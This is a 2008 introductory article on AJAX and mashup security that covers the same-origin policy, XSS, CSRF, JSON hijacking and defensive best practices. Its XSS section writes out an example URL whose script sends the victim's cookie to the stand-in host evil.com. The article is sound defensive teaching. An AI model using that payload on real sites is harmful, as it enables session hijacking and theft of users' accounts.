AJAX and Mashup Security

This article provides an introduction to some of the security threats associated with AJAX technologies, particularly when used within mashup scenarios, and then offers a list of recommended best practices.

Understanding the Same-Origin Policy
One of the foundations of Web security is the "same-origin" policy, which is widely implemented by Web browsers, including the most popular ones (e.g., Internet Explorer, Firefox, Safari, and Opera). Browsers implement the same-origin policy as a protection mechanism in order to isolate Web applications coming from different domains, under the assumption that different domains represent different originators. As a result, if applications in multiple windows or frames are downloaded from different servers, they will not be able to access each other's data and scripts. In the context of XMLHttpRequest, the same-origin policy is intended to control an application's interaction with remote servers.

However, the same-origin policy does not offer complete protection for several reasons. It's possible to bypass the same-origin policy in many ways. We'll illustrate some of these later.

Furthermore, even if a Web server is from a trusted domain, it might not be the originator of all of the content, especially in the context of Web 2.0. For example, an enterprise portal server, Web-based mail server, social networking site, or wiki may be trusted, but the contents they host may include input from potentially malicious third parties, which might result in cross-site scripting (XSS) attacks (described later).

Ways to Circumvent the Same-Origin Policy
There are many techniques for getting around the same-origin policy. Here are two Web application features that can be leveraged by malicious developers:

•  JSON and the Dynamic Script Tag: As part of the same-origin policy, browsers do not allow XMLHttpRequest to communicate with external servers. However, browsers do allow <script> tags to reference URLs from different domains as shown below:

<script type="text/javascript"
src="http://travel.com/findItinerary?username=sachiko&
reservationNum=1234&output=json&callback=showItinerary" />

This makes it possible to use the <script> tag to pass data to and from Web servers, but only if the server returns data in the form of a JavaScript-compatible stream, such as JSON, a data-only subset of the JavaScript language. This approach is a useful technique when your application needs to circumvent the same-origin policy to talk to multiple domains at the same time, but this feature also makes users and Web sites vulnerable to information theft as we'll discuss later.

•  AJAX Proxy: An AJAX proxy is an application-level proxy server that mediates HTTP requests and responses between Web browsers and servers. AJAX proxies sometimes allow Web applications to bypass the same-origin policy and access third-party servers using XMLHttpRequest.

Common Attack Techniques
Malicious code can find its way into a Web application in many ways. Here are three attack techniques.

•  Cross-Site Scripting (XSS): XSS is a technique in which an attacker injects a malicious fragment of code into an otherwise benign site. One form of XSS attack exploits vulnerable Web applications that display input parameters back to the browser without checking for the presence of active content in them. An attacker might lure victims into clicking on the URL, as shown below:

http://trusted.com/search?keyword=<script>
document.images[0].src="http://evil.com/steal?cookie="
+ document.cookie; </script>

Suppose that trusted.com hosts a service that has a search feature that posts back the search results together with the keywords that were entered. If the search application does not filter the special characters [such as the less than (<) and greater than (>) symbols] in the URL, the content of the <script> tag will also be inserted into the user Web page, and, as a result, send the document cookie to the remote server evil.com. (Note: This is just one example of an XSS attack.)

•  Cross-Site Request Forgeries (CSRF): When a Web application requires user authentication, it often doesn't require a user to type in his password for every HTTP request. Instead, Web applications track users' authentication states between multiple HTTP requests by tokens such as session cookies or the HTTP Authorization header. However, a problem with this is that modern Web browsers memorize the tokens associated with URLs and automatically attach the token when a new HTTP request is issued to the server, even if the request is not intended by the user. Cross-Site Request Forgeries (CSRF, often pronounced as "sea surf") take advantage of this browser behavior. With CSRF, a user just needs to visit a malicious Web site whose Web pages can include JavaScript logic that issues (potentially hidden) HTTP requests to other Web servers (such as the user's bank), and those HTTP requests might be authorized by the Web server because of the presence of the tokens. CSRF enables various kinds of attacks, such as sending e-mail from a Web-based mail service, posting a comment to a blog on a user's behalf, altering a user's buddy list in SNS, or changing settings in a home router.

•  JSON Hijacking: JSON Hijacking builds upon CSRF to provide malicious sites with the ability intercept ("hijack") confidential data delivered in simple JSON format. JSON Hijacking takes advantage of a feature in some browsers that allows script to override the core language's object setter routines.

Mashups Can Broaden the Attack Surface
"Mashups" or Web applications that combine data from more than one source provide additional opportunities for security attacks if proper security policies are not in order. Mashup applications often allow arbitrary third-party mashup components. If a malicious site is able to entice mashup users to embed their mashup component, and if the mashup application does not offer sufficient protection, then the user and the mashup application's Web site are vulnerable.

Recommended Best Practices
Here are some techniques that can improve the security of AJAX applications:

•  Add an input value check: Most XSS attacks exploit server-side vulnerabilities by injecting malicious scripts that a vulnerable server will send back to the client. Therefore, server-side input validation is the first step toward protecting Web applications. The two main types of input validation are blacklisting (all characters in the blacklist are filtered out from the input) and whitelisting (only allow an approved list of characters). Blacklisting and whitelisting are not foolproof, but whitelisting is generally considered the more effective option.

•  Escape special characters: For example, change the less than symbol (<) to <, the double-quote symbol (") to ", and the single-quote symbol (') to '. Some programming languages provide useful built-in functions to escape special characters (such as htmlspecialchars and htmlentitiesfunction in PHP).

•  Use vulnerability checking tools: Security experts have developed tools to detect insecure programming practices, often called "vulnerability checking tools." A common vulnerability detected by such tools is forgetting to call an appropriate sanitation routine to filter potentially malicious input.

•  Secure the use of JSON: It is convenient to process JSON data using the JavaScript eval() function. However, this is dangerous because this might allow JavaScript code injection. Therefore, it's recommended that your client-side JavaScript use a special-purpose JSON parser routine instead of eval() or validate with the regular expressions defined in RFC 4627 to make sure the JSON data does not contain active parts.

•  Don't insert untrusted HTML content without sanitizing: It's often convenient to insert fragments of HTML into a document using innerHTML. However, this is dangerous because this might allow JavaScript code injection. Use a sanitizer process that filters out potentially malicious HTML constructs, such as <script> tags.

•  Prevent CSRF and JSON Hijacking attacks: Two things are needed: (1) Include a randomly generated token as part of each JSON request method to allow the server to verify that the request is coming from one of its own Web pages, and (2) have the server encode a JSON string in a form that cannot be executed directly by the browser, such as wrapping the returned JSON string in a JavaScript comment (i.e., prepend an "/*" and append an "*/").

•  Use <iframe> when integrating suspicious content: You can take advantage of the same-origin policy by loading data from a different domain into an <iframe>, which gives that data its own JavaScript execution context and DOM tree. This helps prevent attackers from stealing information from the main page.

Resources
•  A more in-depth version of this article can be found at
www.openajax.org/whitepapers/Ajax%20and%20Mashup%20Security.html


•  The OpenAjax Alliance maintains a wiki page about AJAX and Mashup Security, with links to various technical resources such as articles and software tools, at the following URL,
www.openajax.org/member/wiki/Ajax_Security_Resources


•  Some of the material was first published by IBM developerWorks at
www.ibm.com/developerworks/library/x-ajaxsecurity.html

© 2008 SYS-CON Media